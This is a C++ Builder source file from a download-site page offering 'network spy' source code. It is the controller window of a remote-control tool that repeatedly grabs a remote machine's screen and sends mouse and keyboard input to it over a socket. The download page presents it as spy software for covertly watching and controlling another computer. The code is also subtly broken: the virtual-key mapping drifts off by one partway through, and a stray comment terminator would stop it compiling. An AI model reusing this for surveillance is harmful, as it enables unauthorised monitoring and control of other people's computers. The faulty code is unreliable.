⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 childwin.cpp

📁 C++网络间谍源码
💻 CPP
字号:
//---------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include <stdio.h>

#include "ChildWin.h"
#include "Main.h"
#include "FullScr.h"
#include "Socket.h"
//---------------------------------------------------------------------
#pragma resource "*.dfm"
//---------------------------------------------------------------------
__fastcall TMDIChild::TMDIChild(TComponent *Owner)
	: TForm(Owner)
{
}
//---------------------------------------------------------------------

void __fastcall TMDIChild::FormClose(TObject *Sender, TCloseAction &Action)
{
	Action = caFree;  // 关闭后自动释放资源
}
//---------------------------------------------------------------------

void __fastcall TMDIChild::Capture()
{
	TRecvStreamThread *RecvThread = new TRecvStreamThread(true);
	RecvThread->FreeOnTerminate = true;  // 线程执行完毕自动释放资源
	RecvThread->RemoteAddress = RemoteAddress;  // 指定主机IP
	RecvThread->CL = CL;  // 色深
	RecvThread->CQ = CQ;  // 品质
	RecvThread->RemoteScreen = Image1;
	RecvThread->StatusBar = StatusBar1;
  int sock=Connect_Server(RemoteAddress, LISTENPORT);
  Write_Socket(sock, "2\n");
  AnsiString read=Socket_Readln(sock);
  closesocket(sock);
  this->Caption=RemoteAddress+"("+read+")";
  int pos = read.Pos("*");
  R_Width=StrToIntDef(read.SubString(1,pos-1),0);
  read = read.SubString(pos+1,read.Length()-pos);
  R_Height=StrToIntDef(read,0);
  
	RecvThread->Resume();  // 开始执行线程
}


void __fastcall TMDIChild::FormShow(TObject *Sender)
{
	// 设置初始的窗口大小
	ClientWidth = 800;
	ClientHeight = 600;
  Timer1->Enabled=true;
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::N3Click(TObject *Sender)
{
	// 将图象保存为文件
	if (MainForm->SPDialog->Execute())
		Image1->Picture->Bitmap->SaveToFile(MainForm->SPDialog->FileName);
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::N2Click(TObject *Sender)
{
	// 全屏显示
	FullScrForm->Image1->Picture = Image1->Picture;
	FullScrForm->Show();
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Image1MouseMove(TObject *Sender,
      TShiftState Shift, int X, int Y)
{
char text[32];
int Rx,Ry;
Rx=X*R_Width/Image1->Width;
Ry=Y*R_Height/Image1->Height;
sprintf(text,"Mouse Pos:(%04d,%04d)",Rx,Ry);
StatusBar1->Panels->Items[1]->Text=text;
Rx=X*65535/Image1->Width;
Ry=Y*65535/Image1->Height;
sprintf(text,"3\n1\n%d\n%d\n",Rx,Ry);
int sock=Connect_Server(RemoteAddress, LISTENPORT);  //连接
Write_Socket(sock, text);         //发送
closesocket(sock);     //关闭
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Image1MouseDown(TObject *Sender,
      TMouseButton Button, TShiftState Shift, int X, int Y)
{
char text[32];
int Rx,Ry;
Rx=X*65535/Image1->Width;
Ry=Y*65535/Image1->Height;
switch(Button)
  {
  case mbLeft:
    sprintf(text,"3\n2\n%d\n%d\n",Rx,Ry);
    break;
  case mbRight:
    sprintf(text,"3\n4\n%d\n%d\n",Rx,Ry);
    break;
  case mbMiddle:
    sprintf(text,"3\n6\n%d\n%d\n",Rx,Ry);
    break;

  }
int sock=Connect_Server(RemoteAddress, LISTENPORT);  //连接
Write_Socket(sock, text);          //发送
closesocket(sock);   //关闭

}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Image1MouseUp(TObject *Sender,
      TMouseButton Button, TShiftState Shift, int X, int Y)
{
char text[32];
int Rx,Ry;
Rx=X*65535/Image1->Width;
Ry=Y*65535/Image1->Height;
switch(Button)
  {
  case mbLeft:
    sprintf(text,"3\n3\n%d\n%d\n",Rx,Ry);
    break;
  case mbRight:
    sprintf(text,"3\n5\n%d\n%d\n",Rx,Ry);
    break;
  case mbMiddle:
    sprintf(text,"3\n7\n%d\n%d\n",Rx,Ry);
    break;

  }
int sock=Connect_Server(RemoteAddress, LISTENPORT);  //连接
Write_Socket(sock, text);         //发送
closesocket(sock);            //关闭

}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::FormHide(TObject *Sender)
{
Timer1->Enabled=false;
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Timer1Timer(TObject *Sender)
{
Capture();
}
//---------------------------------------------------------------------------

void __fastcall TMDIChild::Edit1KeyDown(TObject *Sender, WORD &Key,
      TShiftState Shift)
{
char text[32];
int fff;
if (Key== VK_LBUTTON)    fff= 1 ;//0x01;
if (Key==VK_RBUTTON) fff= 2;//       0x02 ;
if (Key== VK_CANCEL) fff= 3;//        0x03 ;
if (Key== VK_MBUTTON ) fff=4;//       0x04 ;

if (Key== VK_XBUTTON1) fff= 5;//      0x05;
if (Key==VK_XBUTTON2)  fff= 6;//    0x06 ;

if (Key== VK_BACK) fff=8; // 0x08;
if (Key== VK_TAB ) fff=9; //  0x09;

if (Key== VK_CLEAR) fff=12;// 0x0C;
if (Key== VK_RETURN) fff=13;     //    0x0D;
if (Key== VK_SHIFT) fff=16; // 0x10;
if (Key== VK_CONTROL) fff=17; //       0x11;
if (Key==VK_MENU )   fff=18;// 0x12;
if (Key==VK_PAUSE )  fff=19;// 0x13;
if (Key== VK_CAPITAL)   fff=20; //    0x14;

if (Key== VK_KANA    )   fff=21;  //      0x15 ;
if (Key== VK_HANGEUL )   fff=21;   //     0x15 ; /* old name - should be here for compatibility */
if (Key== VK_HANGUL     )   fff=21; //    0x15 ;
if (Key==VK_JUNJA     )   fff=23;   //   0x17  ;
if (Key==VK_FINAL   )   fff=24;     //   0x18  ;
if (Key==VK_HANJA     )   fff=25;   //   0x19  ;
if (Key== VK_KANJI      )   fff=25;  //   0x19  ;

if (Key== VK_ESCAPE     )   fff=27;  //   0x1B  ;

if (Key== VK_CONVERT   )   fff=28;    //  0x1C  ;
if (Key==VK_NONCONVERT )   fff=29;   //  0x1D   ;
if (Key== VK_ACCEPT     )   fff=30;  //   0x1E  ;
if (Key==VK_MODECHANGE  )   fff=31;  //  0x1F   ;

if (Key==VK_SPACE )   fff=32;         // 0x20   ;
if (Key==VK_PRIOR      )   fff=33;    // 0x21   ;
if (Key==VK_NEXT      )   fff=34;     // 0x22   ;
if (Key==VK_END )   fff=35;           // 0x23   ;
if (Key== VK_HOME  )   fff= 36;       //  0x24  ;
if (Key==VK_LEFT      )   fff=37;     // 0x25   ;
if (Key==VK_UP      )   fff=38;       // 0x26   ;
if (Key==VK_RIGHT )   fff=39;        //  0x27   ;
if (Key==VK_DOWN   )   fff=40;       //  0x28   ;
if (Key==VK_SELECT    )   fff=41;    //  0x29   ;
if (Key==VK_PRINT    )   fff=42;     //  0x2A   ;
if (Key== VK_EXECUTE   )   fff=43;   //   0x2B  ;
if (Key==VK_SNAPSHOT  )   fff=44;    //  0x2C   ;
if (Key==VK_INSERT    )   fff=45;    //  0x2D   ;
if (Key==VK_DELETE   )   fff=46;     //  0x2E   ;
if (Key== VK_HELP     )   fff=47;    //   0x2F  ;

/*
 * VK_0 - VK_9 are the same as ASCII '0' - '9' (0x30 - 0x39)
 * 0x40 : unassigned
 * VK_A - VK_Z are the same as ASCII 'A' - 'Z' (0x41 - 0x5A)
 */

if (Key== VK_LWIN    )   fff=91;      //  0x5B  ;
if (Key==VK_RWIN     )   fff=92;      // 0x5C   ;
if (Key==VK_APPS    )   fff=93;       // 0x5D   ;

/*
 * 0x5E : reserved
 */

if (Key==VK_SLEEP    )   fff=94;     //  0x5F   ;

if (Key==VK_NUMPAD0   )   fff=95;    //  0x60  ;
if (Key==VK_NUMPAD1   )   fff=96;    //  0x61  ;
if (Key==VK_NUMPAD2   )   fff=97;    //  0x62  ;
if (Key==VK_NUMPAD3   )   fff=98;     // 0x63  ;
if (Key==VK_NUMPAD4   )   fff=99;    //  0x64  ;
if (Key==VK_NUMPAD5    )   fff=100;  //   0x65  ;
if (Key==VK_NUMPAD6     )   fff=101;  //  0x66  ;
if (Key==VK_NUMPAD7  )   fff=102;     //  0x67  ;
if (Key==VK_NUMPAD8    )   fff=103;   //  0x68  ;
if (Key==VK_NUMPAD9   )   fff=104;    //  0x69  ;
if (Key==VK_MULTIPLY   )   fff=105;   //  0x6A  ;
if (Key==VK_ADD       )   fff=106;    //  0x6B  ;
if (Key==VK_SEPARATOR  )   fff=107;   //  0x6C  ;
if (Key==VK_SUBTRACT   )   fff=108;   //  0x6D  ;
if (Key==VK_DECIMAL   )   fff=109;    //  0x6E  ;
if (Key==VK_DIVIDE      )   fff=110;  //  0x6F  ;
if (Key==VK_F1         )   fff=111;   //  0x70  ;
if (Key==VK_F2       )   fff= 112;    //  0x71  ;
if (Key==VK_F3     )   fff=  113;     //  0x72  ;
if (Key==VK_F4    )   fff=  114;     //   0x73  ;
if (Key==VK_F5   )   fff=  115;      //   0x74  ;
if (Key==VK_F6        )   fff=116;   //   0x75  ;
if (Key==VK_F7    )   fff= 117;      //   0x76  ;
if (Key==VK_F8         )   fff=118;  //   0x77  ;
if (Key==VK_F9    )   fff=  119;     //   0x78  ;
if (Key==VK_F10     )   fff=120;     //   0x79  ;
if (Key==VK_F11     )   fff=121;     //   0x7A  ;
if (Key==VK_F12      )   fff=122;    //   0x7B  ;
if (Key==VK_F13     )   fff= 123;    //   0x7C  ;
if (Key==VK_F14    )   fff= 124;     //   0x7D  ;
if (Key==VK_F15    )   fff= 125;    //    0x7E  ;
if (Key==VK_F16    )   fff= 126;    //    0x7F  ;
if (Key==VK_F17     )   fff=127;    //    0x80  ;
if (Key==VK_F18      )   fff= 128;   //   0x81  ;
if (Key==VK_F19   )   fff= 129;      //   0x82  ;
if (Key==VK_F20        )   fff=130;  // 0x83  ;
if (Key==VK_F21       )   fff= 131;  //   0x84  ;
if (Key==VK_F22       )   fff= 132;   //  0x85  ;
if (Key==VK_F23     )   fff= 133;    // 0x86  ;
if (Key==VK_F24       )   fff= 134;  //   0x87 ;

/*
 * 0x88 - 0x8F : unassigned
 */

if (Key== VK_NUMLOCK )   fff= 144;  //     0x90 ;
if (Key== VK_SCROLL  )   fff= 145;//       0x91 ;

*/






//    fff = toascii(Key);

//   if (Key != VK_NUMLOCK)  ShowMessage( Key);
    sprintf(text,"4\n%d\n",fff);


int sock=Connect_Server(RemoteAddress, LISTENPORT);  //连接
Write_Socket(sock, text);         //发送
closesocket(sock);            //关闭


 }
//---------------------------------------------------------------------------

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -